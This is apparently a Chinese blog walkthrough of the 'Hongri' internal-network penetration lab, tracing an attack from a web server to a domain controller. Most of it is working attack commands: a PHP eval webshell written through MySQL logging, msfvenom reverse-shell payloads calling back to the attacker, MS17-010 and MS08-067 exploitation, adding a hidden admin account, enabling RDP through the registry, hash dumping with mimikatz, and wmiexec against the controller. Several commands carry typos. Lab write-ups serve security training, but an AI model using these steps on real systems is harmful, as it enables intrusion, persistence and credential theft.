红日靶场

红日靶场内网渗透

渗透环境

外网攻击主机: kali

172.16.243.128

内网中的web服务器: win7

公网ip: 172.16.243.130

私网ip: 192.168.52.140

内网中的域成员主机: win2003

192.168.52.141

内网中的域控主机: win2008

192.168.52.138

kali作为攻击主机,win7作为web服务器防止两个网卡,能连接内网,web服务被外网所访问

渗透过程

收集信息

首先确定攻击网卡

1
2
ettercap -I
或者 ifconfig

可以看到下面的kali的两个网卡,这里使用的是eth0网卡

使用arp-scan对主机使用网卡的局域网内的主机进行扫描

1
arp-scan -interface=eth0 --localnet

可以看到eth0局域网中的存活主机,这里可以看到内网中开放的web服务器主机为172.16.243.130

下面对目标web服务器进行信息收集,比如端口,操作系统等信息

使用nmap进行端口扫描和目标系统探测

1
2
3
namp -sV -A 172.16.243.130
-sV 扫描目标主机运行软件的版本
-A 扫描目标主机的操作系统和版本检测,脚本扫描和路由跟踪等

可以看到扫描出来的结果,目标主机开放80和3306端口,目标主机开放的两个端口都有可利用价值,对于3306端口的mysql服务,我们可以尝试暴力破解其用户名和密码

image-20210805201824989

访问目标主机的web服务,可以看到目标服务器phpstudy的web探针和php版本信息

image-20210805202527075

对于web探针页面,我们可以看到很多信息,服务器系统版本,web中间件的版本,主机名,管理员邮箱和web绝对根目录等敏感信息

image-20210805202702697

使用dirsearch和dirmap等工具对服务器进行目录扫描

1
python3 dirsearch.py -u "http://172.16.243.130" -e

服务器目录如下:

1
2
3
4
5
6
7
8
phpmyadmin     ##mysql数据库管理工具

phpinfo.php ##php版本信息

1.php

beifen.rar

拿取目标主机shell权限

1.由于目标服务器存在phpmyadmin,我们访问该数据库管理后台,尝试弱口令,暴力破解等

image-20210805210542586

这里使用弱口令root root登录了后台

image-20210805210815913

可以看到目标服务器中的数据库列表如下,值得注意的是mysql数据库中的user数据表和newyxcms数据库(这个可能是旁站cms的数据库)

进入后台我们想拿到服务器shell权限,由于在之前信息收集中知道了绝对路径,所以尝试使用sql语句写入一句话木马,然后使用工具连接,拿到服务器shell权限

在SQL窗口执行写入一句话木马SQL语句

1
select '<?php @eval($_GET["cmd"]);?>' into outfile 'C:/phpstudy/www/cmd.php';

但提示由于设置了secure_file_priv选项限制了文件的写入

image-20210805211802360

我们来看看secure_file_priv这个参数的设置

1
SHOW GLOBAL VARIABLES LIKE '%secure%'

可以看到该参数设置为NULL,表示限制啦mysql不允许导入导出,写入文件

image-20210805213119488

我们换个思路,对于数据库的日志记录,尝试修改日志文件为php后缀指定文件,然后将一句话木马写入该日志记录文件中

1
2
3
set global general_log='on';      ##开启日志记录
set global general_log_file='C:/phpstudy/WWW/eval.php'; ##指定日志记录文件位置为根目录下
select '<?php @eval($_GET["cmd"]); ?>'; ##输入查询一句话语句,日志记录开启记录在指定文件中

访问172.16.243.130/eval.php,可以看到写入eval.php成功

image-20210805215930898

2.在之前对目标网站的目录进行扫描时,发现个压缩包叫做beifen.rar,下载后解压发现为yxcms文件夹,判断目标网站存在旁站,目标服务器部署了一个网站

在网上搜索了一下,发现yxcms是一个企业化的建站系统,YXcms是一款基于PHP+MySql开发的网站管理系统,采用轻量级[MVC设计模式]。

其默认的后台页面为

1
http://域名或ip/yxcms/index.php?r=admin

构造url访问该网站页面:http://172.16.243.130/yscms

浏览了一下主页面,出来有个cms后台登录页面看起来有点意思,其余的没什么好东西,于是点击登录,尝试弱口令登录后台

结果显示登录失败

我看了看url中的r参数为member,是否通过r参数来判断一般用户和管理员登录权限,于是将r修改成admin尝试访问

1
http://172.16.243.130/yxcms/index.php?r=admin

可以看到yxcms的管理后台,尝试使用弱口令admin 123456进行登录

成功登录后台页面,可以看到很多服务器相关信息和yxcms网站相关设置和功能

在全局设置中的前台模板中,我们可以修改模板文件,我们可以将木马代码插入其中并进行加载

通过上述的一些方法将一句话木马上传到目标web服务器中,然后使用webshell工具去连接目标路径的木马,拿到web服务器的shell和权限

使用weevely生成木马文件test.php,并将其上传到目标web服务器上

1
weevely generate password(密码)  test.php(生成文件名)

然后去连接服务器上的test.php文件,连接建立会话成功

weevely http://172.16.243.130/test.php(文件路径) password(密码)

接下来我们在攻击主机上利用msfvenom生成反弹shell的木马qq.exe

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.243.128 lport=12345 -f exe > qq.exe

然后我们将qq.exe通过weevely上传到目标服务器目录中

1
file_upload /opt/tools/web/auto/metasploit/qq.exe qq.exe

运行该木马程序

1
shell_sh qq.exe

接着打开msfconsole,开启监听模块设置参数反弹shell

1
2
3
4
5
6
7
msfconsole         ###打开metasploit

use exploit/multi/handler ###设置监听模块

set lhost 172.16.243.1 ##设置监听主机ip地址

set lport 12345 ###设置监听主机端口

可以看到反弹shell成功,通道建立成功

目标主机信息收集

后渗透阶段先不急着立马提权或者进行横向渗透,先对目标主机以及所在环境进行全方位的信息收集

主机信息收集的常用cmd命令:

1
2
3
4
5
6
7
8
9
10
11
12
systeminfo                  #查看详细的系统信息
whoami #查看当前使用用户
hostname #主机名称
net user #查看主机上的用户
net localgroup administrators #查看系统管理员组中的用户列表
ipconfig /all #查看主机网络配置情况
net share #查看本地开启的共享的文件夹
netstat -ano | findstr "端口号" #查看指定端口的开放情况
wmic product get name,version #查询已安装的软件名称及版本情况
cmdkey /list #查看3389远程端口可信任链接
FOR /f "skip=1 token=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt #windows回收站的信息获取

使用systeminfo查看目标主机的系统信息

可以看到主机的安装的修补程序,这也是需要着重观察的信息,我们可以通过该修补程序中没有的补丁来查看主机漏洞进行攻击

可以看到拿到目标主机的权限是管理员权限

域信息收集

常用的域信息收集命令:

1
2
3
4
5
6
7
net view /domain          #查看域
net group /domain #查询组
net user /domain #查询域用户
net group "domain admin" /domain #查询域管理员信息
net group "domain computers" /domain #查询域内机器信息
net config workstation #查看当前计算机名,全名,用户名等信息
net time /domain #查询主域服务器的时间

上述的命令会发送到域控中查询信息,如果渗透的机器不是与用户则不是域用户权限,但是存在域

下面为当前计算机的相关信息,可以看到指定的域dns名称为god.org

一般来说,域主机的DNS服务器指定的是域控的ip地址,我们可以使用nslookup来观察dns服务器ip地址和解析god.org的A记录ip地址。可以看到ip地址都为192.168.52.138,则可以判断域控为它

横向渗透

这里由于反弹shell后连接的目标主机权限为管理员权限,也就省去了提权的操作。收集完目标主机的相关信息后,下面就是对处于内网的主机进行横向渗透,先对域内的主机进行渗透,然后在对域控进行渗透

路由/端口转发

要想在处于外网的攻击主机连接处于内网域中的主机,肯定是不能直接连接的,要通过受控主机进行端口转发或者路由转发,使受控主机充当个路由转发使外网的主机能连接处于内网的主机

1.直接利用msf添加到内网网段的路由

msf路由相关命令:

1
2
3
run get_local_subnets            #查看本机的路由
run autoroute -s 192.168.52.0/24 #添加目标内网网段到路由信息中
run autoroute -p #查看当前的路由设置

可以看到当前的路由设置为到内网网段,现在就可以通过msf访问内网主机

2.将内网穿透工具上传到web服务器上,然后在攻击机上进行连接指定端口

这里使用venom工具进行内网穿透,将agent.exe使用upload命令上传到目标web服务器上,然后在攻击机上运行admin客户端程序

这里使用反向代理,客户端监听4444端口,让服务端来连接客户端(admin和agent都可以进行监听和连接)

1
./admin_linux_x64 -lport 4444

在目标主机上运行agent.exe指定admin的ip地址和端口

1
agent.exe -rhost 172.16.243.1  -rport 4444

信息收集

下面就是对目标内网进行信息收集

探测内网中的存活主机,有那些域主机和域控主机

这里使用的是metasploit的auxiliary/scanner/portscan模块进行端口信息的收集,在之前的信息收集中可以发现域内出来138这台域控外还有一台域内主机,我们首先对这台域内主机进行渗透

1
2
3
use auiliary/scanner/portscan
set rhost 192.168.52.141
run

可以看到该台域内主机的端口开放如下:

对域控主机182.168.52.138进行端口扫描

1
2
3
use auiliary/scanner/portscan
set rhost 192.168.52.141
run

域内主机渗透

漏洞检测利用

目标端口的139和445端口开放,联想到ms17-010这个漏洞,尝试去验证这个漏洞是否存在

首先使用nmap自带的脚本进行漏洞Fuzz:

1
nmap --script=vuln  192.168.52.141

这里的nmap扫描并没有成功

尝试使用/scanner/smb/ms17_010_commmand模块对目标进行扫描,发现目标可能存在ms17_010

1
2
use  auxiliary/scanner/smb/smb_ms17has
set rhosts 192.168.52.141

下面使用admin/smb/ms17_010_command模块对该主机的ms17_010判断是否为可以利用和执行的权限

1
use  admin/smb/ms17_010_command

可以看到目标主机执行的权限为Administrator管理员权限

接下来就是对目标主机的ms17-010进行漏洞利用拿到目标shell

我首先使用的是exploit/windows/smb/ms17_010_eternablue模块的windows/x64/meterpreter/reverse_tcp的payload,但是管道并没有创建成功,由于目标内网不能连接攻击主机

1
2
3
use exploit/windows/smb/ms17_010_enternablue

set payload windows/x64/meterpreter/reverse_tcp

接着使用了windows/smb/ms17_010_pspexec模块的windows/shell/bind_tcp的payload

1
2
3
use exploit/windows/smb/ms17_010_psexec

set payload windows/shell/bind_tcp

这个payload可以让目标主机开通个tcp监视器,然后让攻击主机去连接目标主机端口就可以执行shell

攻击成功,进入win2003的shell

获取目标主机权限后,首先查看权限级别是否为管理员权限,然后考虑提权的问题

1
whoami

可以看到此时执行的权限为system,系统管理员权限

查看目标主机的系统相关信息,特别是补丁等信息

1
systeminfo

由于此时的荷载直接就进入cmd窗口并不能使用工具,而且该权限为管理员权限,有两条思路:

1
2
3
1.添加新用户将其放入管理员用户组中以管理员的权限执行(添加用户原因是因为我们不知道管理员的密码无法登录),然后开通3389(远程桌面)、22(ssh端口)等端口,通过连接前面的端口服务将生成的后台木马传入目标主机,然后使用msf等待上线。使用mimikatz、hashdump等来读内存和注册表中的密码,因为域内该主机的系统是Winserver 2008,默认存储明文密码,不需要进行sha1解密等

2.寻找其他攻击载荷,直接通过msf拿到session

1.添加管理员组新用户,开通敏感服务连接上传木马

1
2
3
net   user    haoyun        Yzt096877     /add                            ###添加haoyun用户

net user localgroup administrators haoyun /add ###添加haoyun到管理员用户组中

开启3389远程桌面服务,要在cmd窗口开启3389端口通过修改注册表和使用内网穿透工具netsh等

由于这里没有办法上传netsh,只能通过在cmd修改注册表开启远程桌面

1
2
3
4
5
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"              ###查询注册表键值

reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections ###删除注册表键值

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d ###添加注册表键值修改FdenyTSConnections键值

这是原来的注册表中的fDenyTSConnections 为0x1(十六进制),当该值为1时,表示3389服务没有开启

修改目标键值后,该键值为0,如下图:

可以看到3389端口开启

连接远程桌面有两种方式:

1.返回到msf中使用rdesktop命令连接目标主机的3389端口

1
rdesktop   -a  16 -r disk:share=/root/shell  192.168.52.141   -u haoyun   -p  Yzt096877
1
2
3
4
5
6
7
8
9
10
11
12
rdesktop相关命令参数:
-f 全屏
-a 16位色
-u xxxxxx 登录用户,可选
-p xxxxxx 登录密码,可选
-r clipboard:PRIMARYCLIPBOARD 重要,剪贴板可以与远程桌面交互
-a 16 颜色,可选,不过最高就是16位
-z 压缩,可选
-g 1024x768 分辨率,可选,缺省是一种比当前本地桌面低的分辨率
-P 缓冲,可选
-r disk:wj=/home/magicgod 映射虚拟盘,可选,会在远程机器的网上邻居里虚拟出一个映射盘,功能很强,甚至可以是软盘或光盘
-r sound:off 关闭声音,当然也可以把远程发的声音映射到本地来。

2.通过venom工具开启个代理,使用proxychains配置代理连接

venom连接成功后,开启代理9999端口

然后配置proxychains配置文件,设置代理ip和端口为127.0.0.1 999

1
2
3
4
vim   /etc/proxychains.conf

在配置文件最后一行修改为自己的代理端口
socks5 127.0.0.1 9999

然后使用rdesktop连接内网远程桌面

1
proxychains   rdesktop  192.168.52.141  -r disk:share=/root/shell

输入账号密码后,连接成功

将msfvenom生成的木马通过远程桌面传入目标主机

这里使用上面的反弹shell连接失败,没有返回通道(因为内网主机无法通过跳板机来连接攻击主机,而只有攻击主机才能去连接内网主机,所以反向shell不能使用)。所以使用正向连接荷载生成木马bind.exe,将其上传到win2003上

1
msfvenom -p windows/meterpreter/bind_tcp   ARCH=x86   PLATFROM=WIN Rhost=192.168.52.141 -f exe > bind.exe

在msf上使用exploit/multi/handler模块的正向payload

1
2
3
use  exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141

连接成功,管道打开

2.使用相关荷载攻击

通过在漏洞库中搜索win2003相关的漏洞

这里尝试ms08-067和ms06_040进行测试

1
注:MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta

2.1 ms08-067漏洞利用

1
2
3
4
5
6
7
search ms08-067          ###搜索相关模块

use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/bind_tcp ###使用正向shell荷载

set rhost 192.168.52.1141 ###设置目标主机Ip地址

攻击成功,管道打开

2.2 ms06-040漏洞利用

1
2
3
4
5
6
7
8
9
search  ms06-040

use exploit/windows/smb/ms06_040_netapi

set payload windows/meterpreter/bind_tcp

set rhost 192.168.52.141

set target 5

漏洞利用成功,攻击成功,管道打开

2.3 ms03-026漏洞利用

1
漏洞实质上影响的是使用RPC的DCOM接口,此接口处理由客户端机器发送给服务器的DCOM对象激活请求(如UNC路径)。攻击者通过向目标发送畸形  RPC  DCOM请求来利用这些漏洞。成功利用此漏洞可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作 ,如安装程序、查看或更改、删除数据或创建系统管理员权限的帐户
1
2
3
4
5
6
7
search ms03-026

use exploit/windows/dcerpc/ms03_026_dcom

set payload windows/meterpreter/bind_tcp

set rhost 192.168.52.141

漏洞利用成功,管道打开

凭证获取

如下获取用户账号和密码hash值

1
2
3
hashdump
或者
run post/windows/gather/smart_hashdump

可以看到目标主机的用户账号和密码hash值

数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::

由于windows2008之前的操作系统密码存储都是以明文形式的,直接加载mimikatz模块后使用wdigest进行抓取

域控主机获取

漏洞检测利用

在之前的信息收集中,得到域控主机开放445和139端口,猜测也有可能存在ms17-010漏洞,对其进行漏洞检测

1
2
3
4
5
use auxiliary/smb/smb/smb_ms17_010

set rhosts 192.168.52.138

run

检测出来可能存在ms17-010漏洞

然后检测是否是管理员权限

1
2
3
4
5
use admin/smb/ms17_010_command

set rhosts 192.168.52.138

run

可以看到为管理员账户

使用上面的ms17-010的模块都没有返回管道,建立会话失败

域控主机开放137,139,445端口

1
2
3
如果开启了137端口(wmi)首先还是建议用wmi , 可以直接利用`auxiliary/scanner/smb/impacket/wmiexec`来代码执行,就可以来开启3389 ,以及配置防火墙等。

如果开启了`139,445`端口,可以先尝试用exploit/windows/smb/pspexec 来登录,弹正向shell.然后代码执行开启3389,配置防火墙
1
WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

下面使用wmiexec攻击模块

1
2
3
4
5
use  auxiliary/scanner/impacket/wmicexec
set rhost 192.168.52.138
set SMBPass 域控密码
set SMBUser 域控账号
set command 执行的命令

可以看到输入的命令执行成功,这样的话,可以开启远程桌面和使用共享文件将木马复制到域控主机上,然后开启正向shell监听

1
copy \\192.168.52.140\shell\shell.exe C:\1.exe

原理:整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。

当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信